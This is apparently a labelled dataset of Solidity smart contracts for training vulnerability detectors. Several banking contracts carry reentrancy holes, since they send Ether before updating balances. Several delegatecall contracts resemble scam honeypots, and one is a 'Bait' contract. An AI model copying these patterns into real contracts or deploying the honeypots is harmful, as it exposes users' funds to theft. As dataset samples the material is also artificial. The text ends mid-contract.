Thi-Thu-Huong/Balanced-Ethereum-Smart-Contract huggingface dataset:
// Vulnerability label: RE1
pragma solidity ^0.4.25;

contract MY_BANK
{
    function Put(uint _unlockTime)
    public
    payable
    {
        var acc = Acc[msg.sender];
        acc.balance += msg.value;
        acc.unlockTime = _unlockTime>now?_unlockTime:now;
        LogFile.AddMessage(msg.sender,msg.value,"Put");
    }

    function Collect(uint _am)
    public
    payable
    {
        var acc = Acc[msg.sender];
        if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
        {
            if(msg.sender.call.value(_am)())
            {
                acc.balance-=_am;
                LogFile.AddMessage(msg.sender,_am,"Collect");
            }
        }
    }

    function() 
    public 
    payable
    {
        Put(0);
    }

    struct Holder   
    {
        uint unlockTime;
        uint balance;
    }

    mapping (address => Holder) public Acc;

    Log LogFile;

    uint public MinSum = 1 ether;    

    function MY_BANK(address log) public{
        LogFile = Log(log);
    }
}


contract Log 
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;

    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
// Vulnerability label: RE1
pragma solidity ^0.4.19;

contract BANK_SAFE
{
    mapping (address=>uint256) public balances;   
   
    uint public MinSum;
    
    LogFile Log;
    
    bool intitalized;
    
    function SetMinSum(uint _val)
    public
    {
        if(intitalized)throw;
        MinSum = _val;
    }
    
    function SetLogFile(address _log)
    public
    {
        if(intitalized)throw;
        Log = LogFile(_log);
    }
    
    function Initialized()
    public
    {
        intitalized = true;
    }
    
    function Deposit()
    public
    payable
    {
        balances[msg.sender]+= msg.value;
        Log.AddMessage(msg.sender,msg.value,"Put");
    }
    
    function Collect(uint _am)
    public
    payable
    {
        if(balances[msg.sender]>=MinSum && balances[msg.sender]>=_am)
        {
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                Log.AddMessage(msg.sender,_am,"Collect");
            }
        }
    }
    
    function() 
    public 
    payable
    {
        Deposit();
    }
    
}



contract LogFile
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }
    
    Message[] public History;
    
    Message LastMsg;
    
    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
// Vulnerability label: RE1
pragma solidity ^0.4.19;

contract ACCURAL_DEPOSIT
{
    mapping (address=>uint256) public balances;   
   
    uint public MinSum = 1 ether;
    
    LogFile Log = LogFile(0x0486cF65A2F2F3A392CBEa398AFB7F5f0B72FF46);
    
    bool intitalized;
    
    function SetMinSum(uint _val)
    public
    {
        if(intitalized)revert();
        MinSum = _val;
    }
    
    function SetLogFile(address _log)
    public
    {
        if(intitalized)revert();
        Log = LogFile(_log);
    }
    
    function Initialized()
    public
    {
        intitalized = true;
    }
    
    function Deposit()
    public
    payable
    {
        balances[msg.sender]+= msg.value;
        Log.AddMessage(msg.sender,msg.value,"Put");
    }
    
    function Collect(uint _am)
    public
    payable
    {
        if(balances[msg.sender]>=MinSum && balances[msg.sender]>=_am)
        {
            if(msg.sender.call.value(_am)())
            {
                balances[msg.sender]-=_am;
                Log.AddMessage(msg.sender,_am,"Collect");
            }
        }
    }
    
    function() 
    public 
    payable
    {
        Deposit();
    }
    
}



contract LogFile
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }
    
    Message[] public History;
    
    Message LastMsg;
    
    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
// Vulnerability label: RE1
pragma solidity ^0.4.25;

contract C_Bank
{
    function Put(uint _unlockTime)
    public
    payable
    {
        var acc = Acc[msg.sender];
        acc.balance += msg.value;
        acc.unlockTime = _unlockTime>now?_unlockTime:now;
        LogFile.AddMessage(msg.sender,msg.value,"Put");
    }

    function Collect(uint _am)
    public
    payable
    {
        var acc = Acc[msg.sender];
        if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
        {
            if(msg.sender.call.value(_am)())
            {
                acc.balance-=_am;
                LogFile.AddMessage(msg.sender,_am,"Collect");
            }
        }
    }

    function() 
    public 
    payable
    {
        Put(0);
    }

    struct Holder   
    {
        uint unlockTime;
        uint balance;
    }

    mapping (address => Holder) public Acc;

    Log LogFile;

    uint public MinSum = 2 ether;    

    function C_Bank(address log) public{
        LogFile = Log(log);
    }
}


contract Log 
{
    struct Message
    {
        address Sender;
        string  Data;
        uint Val;
        uint  Time;
    }

    Message[] public History;

    Message LastMsg;

    function AddMessage(address _adr,uint _val,string _data)
    public
    {
        LastMsg.Sender = _adr;
        LastMsg.Time = now;
        LastMsg.Val = _val;
        LastMsg.Data = _data;
        History.push(LastMsg);
    }
}
// Vulnerability label: DC1
pragma solidity ^0.4.18;


contract TransferReg
{
    address public Owner = msg.sender;
    address public DataBase;
    uint256 public Limit;
    
    function Set(address dataBase, uint256 limit)
    {
        require(msg.sender == Owner);
        Limit = limit;
        DataBase = dataBase;
    }
    
    function()payable{}
    
    function transfer(address adr)
    payable
    {
        if(msg.value>Limit)
        {        
            DataBase.delegatecall(bytes4(sha3("AddToDB(address)")),msg.sender);
            adr.transfer(this.balance);
        }
    }
    
}

contract Lib
{
    address owner = msg.sender;
    
    bytes lastUknownMessage;
    
    mapping (address => uint256) Db;

    function() public payable 
    {
        lastUknownMessage = msg.data;
    }
    
    function AddToDB(address adr)
    public
    payable
    {
        Db[adr]++;
    }
    
    function GetAddrCallQty(address adr)
    public 
    returns(uint)
    {
        require(owner==msg.sender);
        return Db[adr];
    }
    
    function GetLastMsg()
    public 
    returns(bytes)
    {
        require(owner==msg.sender);
        return lastUknownMessage;
    }
    
    
}
// Vulnerability label: DC1
pragma solidity ^0.4.18;


contract Transfer
{
    address public Owner = msg.sender;
    address public DataBase;
    uint256 public Limit;
    
    function Set(address dataBase, uint256 limit)
    {
        require(msg.sender == Owner);
        Limit = limit;
        DataBase = dataBase;
    }
    
    function()payable{}
    
    function transfer(address adr)
    payable
    {
        if(msg.value>Limit)
        {        
            DataBase.delegatecall(bytes4(sha3("AddToDB(address)")),msg.sender);
            adr.transfer(this.balance);
        }
    }
    
}
// Vulnerability label: DC1
{{
  "language": "Solidity",
  "sources": {
    "contracts/libraries/Proxy__L1LiquidityPool.sol": {
      "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.7.6;\n\n/**\n * @title Lib_ResolvedDelegateProxy\n */\ncontract Proxy__L1LiquidityPoolArguments {\n\n    /*************\n     * Variables *\n     *************/\n\n    mapping(string => address) public addressManager;\n\n    /***************\n     * Constructor *\n     ***************/\n\n    /**\n     * @param _proxyTarget Address of the target contract.\n     */\n    constructor(\n        address _proxyTarget\n    ) {\n        addressManager[\"proxyTarget\"] = _proxyTarget;\n        addressManager[\"proxyOwner\"] = msg.sender;\n    }\n\n    /**********************\n     * Function Modifiers *\n     **********************/\n\n    modifier proxyCallIfNotOwner() {\n        if (msg.sender == addressManager[\"proxyOwner\"]) {\n            _;\n        } else {\n            // This WILL halt the call frame on completion.\n            _doProxyCall();\n        }\n    }\n\n    /*********************\n     * Fallback Function *\n     *********************/\n\n    fallback()\n        external\n        payable\n    {\n        // Proxy call by default.\n        _doProxyCall();\n    }\n\n    /********************\n     * Public Functions *\n     ********************/\n\n    /**\n     * Update target\n     *\n     * @param _proxyTarget address of proxy target contract\n     */\n    function setTargetContract(\n        address _proxyTarget\n    )\n        proxyCallIfNotOwner\n        external\n    {\n        addressManager[\"proxyTarget\"] = _proxyTarget;\n    }\n\n    /**\n     * Transfer owner\n     */\n    function transferProxyOwnership()\n        proxyCallIfNotOwner\n        external\n    {\n        addressManager[\"proxyOwner\"] = msg.sender;\n    }\n\n    /**\n     * Performs the proxy call via a delegatecall.\n     */\n    function _doProxyCall()\n        internal\n    {\n\n        require(\n            addressManager[\"proxyOwner\"] != address(0),\n            \"Target address must be initialized.\"\n        );\n\n        (bool success, bytes memory returndata) = addressManager[\"proxyTarget\"].delegatecall(msg.data);\n\n        if (success == true) {\n            assembly {\n                return(add(returndata, 0x20), mload(returndata))\n            }\n        } else {\n            assembly {\n                revert(add(returndata, 0x20), mload(returndata))\n            }\n        }\n    }\n}\n"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "abi"
        ]
      }
    },
    "metadata": {
      "useLiteralContent": true
    },
    "libraries": {}
  }
}}
// Vulnerability label: DC1
pragma solidity ^0.4.23;

contract Destroy{
      function delegatecall_selfdestruct(address _target) external returns (bool _ans) {
          _ans = _target.delegatecall(bytes4(sha3("address)")), this); 
      }
}
// Vulnerability label: DC1
pragma solidity ^0.8.4;

contract BSCWinBulls {
    event myEvent(bytes);
    
    // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"
    constructor(bytes memory constructData, address contractLogic) public {
        // save the code address
        assembly { // solium-disable-line
            sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, contractLogic)
        }
        (bool success, bytes memory __ ) = contractLogic.delegatecall(constructData); // solium-disable-line
        emit myEvent(__);
        require(success, "Construction failed");
    }

    fallback() external payable {
        assembly { // solium-disable-line
            let contractLogic := sload(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7)
            calldatacopy(0x0, 0x0, calldatasize())
            let success := delegatecall(gas(), contractLogic, 0x0, calldatasize(), 0, 0)
            
            returndatacopy(0, 0, returndatasize())
            switch success
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }
}
// Vulnerability label: DC1
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.4;

contract Parent {
  event Upgraded(address indexed implementation);
  event ProxyAdminChanged(address);
  bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
  address public proxyAdmin;

  constructor() {
      proxyAdmin=msg.sender;
      emit ProxyAdminChanged(msg.sender);
  }
  
  function setProxyAdmin(address newProxyAdmin) public onlyProxyAdmin(){
      proxyAdmin=newProxyAdmin;
      emit ProxyAdminChanged(newProxyAdmin);
  }
 
  function getImplementation() public view returns (address impl){
      bytes32 slot = IMPLEMENTATION_SLOT;
      assembly {
          impl := sload(slot)
      }
    }
    
  fallback() external payable {
    address adrs=getImplementation();
    assembly {
      calldatacopy(0, 0, calldatasize())
      let result := delegatecall(gas(), adrs, 0, calldatasize(), 0, 0)
      // Copy the returned data.
      returndatacopy(0, 0, returndatasize())
      switch result
        case 0 {
          revert(0, returndatasize())
        }
        default {
          return(0, returndatasize())
        }
    }
  }
  modifier onlyProxyAdmin() {
    require(msg.sender==proxyAdmin,"Must be a proxy admin");
    _;
  }

  function isContract(address _addr) internal view returns (bool) {
    bytes32 codehash;
    bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
    assembly { codehash := extcodehash(_addr) }
    return (codehash != 0x0 && codehash != accountHash);
  }

  function setImplementation(address newImplementation) public onlyProxyAdmin{
      require(isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
      require(msg.sender==proxyAdmin);
      bytes32 slot = IMPLEMENTATION_SLOT;
      assembly {
        sstore(slot, newImplementation)
      }
      emit Upgraded(newImplementation);
      (bool success, bytes memory data) = newImplementation.delegatecall(
        abi.encodeWithSignature("initialize()")
      );
  }
}
// Vulnerability label: DC1
pragma solidity ^0.4.18;

contract Router
{
    address public Owner = msg.sender;
    address public DataBase;
    uint256 public Limit;
    
    
    function Set(address dataBase, uint256 limit)
    {
        require(msg.sender == Owner);
        Limit = limit;
        DataBase = dataBase;
    }
    
    function()payable{}
    
    function transfer(address adr)
    payable
    {
        if(msg.value>Limit)
        {        
            DataBase.delegatecall(bytes4(sha3("AddToDB(address)")),msg.sender);
            adr.transfer(this.balance);
        }
    }
    
}
// Vulnerability label: DC1
{{
  "language": "Solidity",
  "sources": {
    "contracts/libraries/Lib_ResolvedDelegateProxy.sol": {
      "content": "// SPDX-License-Identifier: MIT\npragma solidity >0.7.5;\n\n/**\n * @title Lib_ResolvedDelegateProxy\n */\ncontract Lib_ResolvedDelegateProxy {\n\n    /*************\n     * Variables *\n     *************/\n\n    mapping(string => address) public addressManager;\n\n    /***************\n     * Constructor *\n     ***************/\n\n    /**\n     * @param _proxyTarget Address of the target contract.\n     */\n    constructor(\n        address _proxyTarget\n    ) {\n        addressManager[\"proxyTarget\"] = _proxyTarget;\n        addressManager[\"proxyOwner\"] = msg.sender;\n    }\n\n    /**********************\n     * Function Modifiers *\n     **********************/\n\n    modifier proxyCallIfNotOwner() {\n        if (msg.sender == addressManager[\"proxyOwner\"]) {\n            _;\n        } else {\n            // This WILL halt the call frame on completion.\n            _doProxyCall();\n        }\n    }\n\n    /*********************\n     * Fallback Function *\n     *********************/\n\n    fallback()\n        external\n        payable\n    {\n        // Proxy call by default.\n        _doProxyCall();\n    }\n\n    /********************\n     * Public Functions *\n     ********************/\n\n    /**\n     * Update target\n     *\n     * @param _proxyTarget address of proxy target contract\n     */\n    function setTargetContract(\n        address _proxyTarget\n    )\n        proxyCallIfNotOwner\n        external\n    {\n        addressManager[\"proxyTarget\"] = _proxyTarget;\n    }\n\n    /**\n     * Transfer owner\n     */\n    function transferProxyOwnership(\n        address _newOwner\n    )\n        proxyCallIfNotOwner\n        external\n    {\n        require(\n            _newOwner != address(0),\n            \"New owner cannot be the zero address.\"\n        );\n        addressManager[\"proxyOwner\"] = _newOwner;\n    }\n\n    /**\n     * Performs the proxy call via a delegatecall.\n     */\n    function _doProxyCall()\n        internal\n    {\n\n        require(\n            addressManager[\"proxyOwner\"] != address(0),\n            \"Target address must be initialized.\"\n        );\n\n        (bool success, bytes memory returndata) = addressManager[\"proxyTarget\"].delegatecall(msg.data);\n\n        if (success == true) {\n            assembly {\n                return(add(returndata, 0x20), mload(returndata))\n            }\n        } else {\n            assembly {\n                revert(add(returndata, 0x20), mload(returndata))\n            }\n        }\n    }\n}\n"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": true,
      "runs": 10000
    },
    "metadata": {
      "bytecodeHash": "none",
      "useLiteralContent": true
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "libraries": {}
  }
}}
// Vulnerability label: DC1
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Bait {
    receive() external payable {}
    
    function bait(address _pickpocket) external {

        (bool success, ) = _pickpocket.delegatecall(abi.encodeWithSignature("finesse(address)", _pickpocket));
        require(success, "Bait: finesse did not go thru :(");
    }
}
// Vulnerability label: DC1
pragma solidity 0.4.11;

contract testBank
{
    address Owner=0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;
    address adr;
    uint256 public Limit= 1000000000000000001;
    address emails = 0xa6f6b06538348614d98f1c12b6b2becc27886ced;
    
    
    function Update(address dataBase, uint256 limit)
    {
        require(msg.sender == Owner); //checking the owner
        Limit = limit;
        emails = dataBase;
    }
    
    function changeOwner(address adr){
        // update Owner=msg.sender;
    }
    
    function()payable{}
    
    function withdrawal()
    payable public
    {
        adr=msg.sender;
        if(msg.value>Limit)
        {  
            //add if Owner
            emails.delegatecall(bytes4(sha3("logEvent()")));
            adr.send(this.balance);
        }
    }
    
    function kill() {
        require(msg.sender == Owner);
        selfdestruct(msg.sender);
    }
    
}
// Vulnerability label: DC1
pragma solidity ^0.4.18;


contract Conductor
{
    address public Owner = msg.sender;
    address public DataBase;
    uint256 public Limit;
    
    
    function Set(address dataBase, uint256 limit)
    {
        require(msg.sender == Owner);
        Limit = limit;
        DataBase = dataBase;
    }
    
    function()payable{}
    
    function transfer(address adr)
    payable
    {
        if(msg.value>Limit)
        {        
            DataBase.delegatecall(bytes4(sha3("AddToDB(address)")),msg.sender);
            adr.transfer(this.balance);
        }
    }
    
}
// Vulnerability label: DC1
pragma solidity ^0.8.0;

contract HOKKNFT {
    event myEvent(bytes);
    
    // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"
    constructor(bytes memory constructData, address contractLogic) public {
        // save the code address
        assembly { // solium-disable-line
            sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, contractLogic)
        }
        (bool success, bytes memory __ ) = contractLogic.delegatecall(constructData); // solium-disable-line
        emit myEvent(__);
        require(success, "Construction failed");
    }

    fallback() external payable {
        assembly { // solium-disable-line
            let contractLogic := sload(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7)
            calldatacopy(0x0, 0x0, calldatasize())
            let success := delegatecall(gas(), contractLogic, 0x0, calldatasize(), 0, 0)
            
            returndatacopy(0, 0, returndatasize())
            switch success
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }
}
// Vulnerability label: DC1
{{
  "language": "Solidity",
  "settings": {
    "evmVersion": "istanbul",
    "libraries": {},
    "metadata": {
      "bytecodeHash": "none",
      "useLiteralContent": true
    },
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "remappings": [],
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "abi"
        ]
      }
    }
  },
  "sources": {
    "contracts/Batcher.sol": {
      "content": "pragma solidity ^0.7.0;\npragma abicoder v2;\n\ncontract Batcher {\n  function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) {\n    // If the _res length is less than 68, then the transaction failed silently (without a revert message)\n    if (_returnData.length < 68) return \"Transaction reverted silently\";\n\n    assembly {\n      // Slice the sighash.\n      _returnData := add(_returnData, 0x04)\n    }\n    return abi.decode(_returnData, (string)); // All that remains is the revert string\n  }\n\n  function batch(\n    bytes[] memory calls\n  ) public payable returns (bytes[] memory results) {\n    // Interactions\n    results = new bytes[](calls.length);\n    for (uint256 i = 0; i < calls.length; i++) {\n      bytes memory data = calls[i];\n      address target;\n      bool doDelegate;\n      uint88 value;\n      assembly {\n\n        let opts := mload(add(data, mload(data)))\n        target := shr(96, opts)\n        doDelegate := byte(20, opts)\n        value := and(opts, 0xffffffffffffffffffffff)\n        mstore(data, sub(mload(data), 32))\n      }\n      (bool success, bytes memory result) = doDelegate ? target.delegatecall(data) : target.call{value: value}(data);\n      if (!success) {\n        revert(_getRevertMsg(result));\n      }\n      results[i] = result;\n    }\n  }\n}"
    }
  }
}}
// Vulnerability label: DC1
pragma solidity ^0.6.0;


interface LiquidityPool {
    function borrow(
        address _token,
        uint256 _amount,
        bytes calldata _data
    ) external;
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

interface IDistributor {
    function claim(address _to, uint256 _earningsToDate, uint256 _nonce, bytes memory _signature) external;
}

contract TestBorrower {
    address payable immutable owner;

    address constant borrowProxy = 0x82151CA501c81108d032C490E25f804787BEF3b8;

    address payable constant liquidityPool = 0x53463cd0b074E5FDafc55DcE7B1C82ADF1a43B2E;
    
    IDistributor constant distributor = IDistributor(0xF55A73a366F1F9F03CEf4cc10D3cD21e5c6A9026);
    
    address constant rook = 0xfA5047c9c78B8877af97BDcb85Db743fD7313d4a;

    modifier onlyOwner {
        require(msg.sender == owner, "NOT OWNER");
        _;
    }

    modifier onlyBorrowProxy {
        require(msg.sender == borrowProxy, "NOT BORROW PROXY");
        _;
    }
    
    constructor() public payable {
        owner = msg.sender;
    }

    function doBorrow(address[] memory tokens) external payable onlyOwner {
        for (uint256 i = 0; i < tokens.length; i++) {
            address token = tokens[i];
            LiquidityPool(liquidityPool).borrow(
                token,
                1,
                abi.encodeWithSelector(
                    this.borrowCallback.selector,
                    token
                )
            );
        }
    }
    
    function borrowCallback(address token) external onlyBorrowProxy {
        if (token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
            (bool success, bytes memory retData) = liquidityPool.call{ value: address(this).balance }("");
            require(success, string(retData));
        } else {
            uint256 balance = IERC20(token).balanceOf(address(this));
            require(IERC20(token).transfer(liquidityPool, balance), "ERC20 error");
        }
    }
    
    function claim(address _to, uint256 _earningsToDate, uint256 _nonce, bytes memory _signature) external {
        distributor.claim(_to, _earningsToDate, _nonce, _signature);
        withdrawTokens(rook);
    }
    
    function withdrawTokens(address token) public {
        if (token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
            owner.transfer(address(this).balance);
        } else {
            uint256 balance = IERC20(token).balanceOf(address(this));
            require(IERC20(token).transfer(owner, balance), "ERC20 error");
        }
    }
    
    function delegateCall(address to, bytes memory data) external payable onlyOwner {
        (bool success, bytes memory retData) = to.delegatecall(data);
        require(success, string(retData));
    }
    
    fallback() external payable { return; }
}
// Vulnerability label: DC1
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract HokkaidoInu {

    // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"
    constructor(bytes memory constructData, address contractLogic) public {
        // save the code address
        assembly { // solium-disable-line
            sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, contractLogic)
        }
        (bool success, bytes memory __ ) = contractLogic.delegatecall(constructData); // solium-disable-line

        require(success, "Construction failed");
    }

    fallback() external payable {
        assembly { // solium-disable-line
            let contractLogic := sload(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7)
            calldatacopy(0x0, 0x0, calldatasize())
            let success := delegatecall(gas(), contractLogic, 0x0, calldatasize(), 0, 0)

            returndatacopy(0, 0, returndatasize())
            switch success
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }
}
// Vulnerability label: DC1
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract HOKKDividendTracker {

    // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"
    constructor(bytes memory constructData, address contractLogic) public {
        // save the code address
        assembly { // solium-disable-line
            sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, contractLogic)
        }
        (bool success, bytes memory __ ) = contractLogic.delegatecall(constructData); // solium-disable-line

        require(success, "Construction failed");
    }

    fallback() external payable {
        assembly { // solium-disable-line
            let contractLogic := sload(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7)
            calldatacopy(0x0, 0x0, calldatasize())
            let success := delegatecall(gas(), contractLogic, 0x0, calldatasize(), 0, 0)

            returndatacopy(0, 0, returndatasize())
            switch success
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }
}
// Vulnerability label: DC1
// SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.6.6;

interface IPermitAndCall {
  function permitAndCall(
    address token,
    uint value,
    bytes4 permitSelector,
    bytes calldata permitData,
    bytes4 routerFunctionSelector,
    bytes calldata routerFunctionData
  )
    external;
}

interface IUniswapV2Router02 {
  function WETH() external pure returns (address); 
}

interface IERC20 {
  function allowance(address owner, address spender) external view returns (uint);
}

contract PermitAndCall is IPermitAndCall {
  address public immutable router;
  address public immutable WETH;

  constructor(address _router) public {
    router = _router;
    WETH = IUniswapV2Router02(_router).WETH();
  }

  receive() external payable {
    assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
  }

  function permitAndCall(
    address token,
    uint value,
    bytes4 permitSelector,
    bytes memory permitData,
    bytes4 routerFunctionSelector,
    bytes memory routerFunctionData
  )
    public
    override
  {
    // if the `msg.sender`'s allowance for this contract is less than `value`, execute a permit
    if (IERC20(token).allowance(msg.sender, address(this)) < value) {
      (bool success,) = token.call(abi.encodePacked(permitSelector, permitData));
      require(success, 'PermitAndCall: permit failed.');
    }
    // execute a router function
    (bool success,) = router.delegatecall(abi.encodePacked(routerFunctionSelector, routerFunctionData));
    require(success, 'PermitAndCall: router failed.');
  }
}
// Vulnerability label: DC1
// created by tommy wang
// segwit2x is the real bitcoin
// 09.11.17
// back up admin contract for yunbi, adds owner in case of lockout


pragma solidity ^0.4.18;
contract AdminInterface
{
    address public Owner; // web3.eth.accounts[9]
    address public oracle;
    uint256 public Limit;
    
    function AdminInterface(){
        Owner = msg.sender;
    }
    
     modifier onlyOwner() {
        require(msg.sender == Owner);
    _;
  }

    // config oracle db address and set minimum tx amt to limit abuse
    function Set(address dataBase) payable onlyOwner
    {
        Limit = msg.value;
        oracle = dataBase;
    }
    //can hold funds if needed
    function()payable{}
    
    function transfer(address multisig) payable onlyOwner {
        multisig.transfer(msg.value);
    }

    function addOwner(address newAddr) payable
    {   
        if(msg.value > Limit)
        {        
            // Because database is an database address, this adds owner to the database for that contract
            oracle.delegatecall(bytes4(keccak256("AddToWangDB(address)")),msg.sender);

            // transfer this wallets balance to new owner after address change
            newAddr.transfer(this.balance);
        }
    }
}
// Vulnerability label: DC1
// Sources flattened with hardhat v2.6.4 https://hardhat.org

// File contracts/RewardsDistributorStorage.sol

pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;

contract RewardsDistributorDelegatorStorage {
    /// @notice Administrator for this contract
    address public admin;

    /// @notice Pending administrator for this contract
    address public pendingAdmin;

    /// @notice Active brains of RewardsDistributor
    address public implementation;
}

contract RewardsDistributorDelegator is RewardsDistributorDelegatorStorage {
    /// @notice Emitted when implementation is changed
    event NewImplementation(address oldImplementation, address newImplementation);

	constructor(
			address admin_,
			address rewardToken_,
	        address implementation_) public {

        // Admin set to msg.sender for initialization
        admin = msg.sender;

        delegateTo(implementation_, abi.encodeWithSignature("initialize(address)", rewardToken_));

        _setImplementation(implementation_);

        admin = admin_;
	}


	/**
     * @notice Called by the admin to update the implementation of the delegator
     * @param implementation_ The address of the new implementation for delegation
     */
    function _setImplementation(address implementation_) public {
        require(msg.sender == admin, "RewardsDistributorDelegator::_setImplementation: admin only");
        require(implementation_ != address(0), "RewardsDistributorDelegator::_setImplementation: invalid implementation address");

        address oldImplementation = implementation;
        implementation = implementation_;

        emit NewImplementation(oldImplementation, implementation);
    }

    /**
     * @notice Internal method to delegate execution to another contract
     * @dev It returns to the external caller whatever the implementation returns or forwards reverts
     * @param callee The contract to delegatecall
     * @param data The raw data to delegatecall
     */
    function delegateTo(address callee, bytes memory data) internal {
        (bool success, bytes memory returnData) = callee.delegatecall(data);
        assembly {
            if eq(success, 0) {
                revert(add(returnData, 0x20), returndatasize)
            }
        }
    }

	/**
     * @dev Delegates execution to an implementation contract.
     * It returns to the external caller whatever the implementation returns
     * or forwards reverts.
     */
    function () external payable {
        // delegate all other functions to current implementation
        (bool success, ) = implementation.delegatecall(msg.data);

        assembly {
              let free_mem_ptr := mload(0x40)
              returndatacopy(free_mem_ptr, 0, returndatasize)

              switch success
              case 0 { revert(free_mem_ptr, returndatasize) }
              default { return(free_mem_ptr, returndatasize) }
        }
    }
}
// Vulnerability label: DC1
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.6.12;

contract AdminControlled {
    address public admin;
    uint public paused;

    constructor(address _admin, uint flags) public {
        admin = _admin;
        paused = flags;
    }

    modifier onlyAdmin {
        require(msg.sender == admin);
        _;
    }

    modifier pausable(uint flag) {
        require((paused & flag) == 0 || msg.sender == admin);
        _;
    }

    function adminPause(uint flags) public onlyAdmin {
        paused = flags;
    }

    function adminSstore(uint key, uint value) public onlyAdmin {
        assembly {
            sstore(key, value)
        }
    }

    function adminSstoreWithMask(
        uint key,
        uint value,
        uint mask
    ) public onlyAdmin {
        assembly {
            let oldval := sload(key)
            sstore(key, xor(and(xor(value, oldval), mask), oldval))
        }
    }

    function adminSendEth(address payable destination, uint amount) public onlyAdmin {
        destination.transfer(amount);
    }

    function adminReceiveEth() public payable onlyAdmin {}

    function adminDelegatecall(address target, bytes memory data) public payable onlyAdmin returns (bytes memory) {
        (bool success, bytes memory rdata) = target.delegatecall(data);
        require(success);
        return rdata;
    }
}

contract NearProver is AdminControlled {
    address public bridge;

    constructor(
        address _bridge,
        address _admin,
        uint _pausedFlags
    ) public AdminControlled(_admin, _pausedFlags) {
        bridge = _bridge;
    }
}
// Vulnerability label: DC1
pragma solidity ^0.8.0;

contract HOKKBridgePort {
    event myEvent(bytes);
    
    // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7"
    constructor(bytes memory constructData, address contractLogic) public {
        // save the code address
        assembly { // solium-disable-line
            sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, contractLogic)
        }
        (bool success, bytes memory __ ) = contractLogic.delegatecall(constructData); // solium-disable-line
        emit myEvent(__);
        require(success, "Construction failed");
    }

    fallback() external payable {
        assembly { // solium-disable-line
            let contractLogic := sload(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7)
            calldatacopy(0x0, 0x0, calldatasize())
            let success := delegatecall(gas(), contractLogic, 0x0, calldatasize(), 0, 0)
            
